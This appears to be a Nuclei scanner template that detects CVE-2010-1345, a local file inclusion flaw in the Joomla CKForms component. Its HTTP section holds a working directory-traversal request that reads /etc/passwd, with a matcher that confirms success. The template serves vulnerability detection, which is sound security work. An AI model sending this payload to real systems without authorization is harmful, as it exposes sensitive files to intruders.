id: CVE-2010-1345

info:
  name: Joomla! Component Cookex Agency CKForms - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Cookex Agency CKForms (com_ckforms) component 1.3.3 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/15453
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1345
    - http://www.exploit-db.com/exploits/11785
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1345
    cwe-id: CWE-22
    epss-score: 0.02465
    epss-percentile: 0.85461
    cpe: cpe:2.3:a:cookex:com_ckforms:1.3.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cookex
    product: com_ckforms
  tags: cve2010,cve,lfi,edb,joomla,cookex,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_ckforms&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009dd06c5f87f100c43a1ee361a06701e6975932efa06e20b17a6e15433eb31d7202202faeda4f726198f9a40c4e263567787e9a05ec29bc3f205f3fa00da99592cb2e:922c64590222798bb761d5b6d8e72950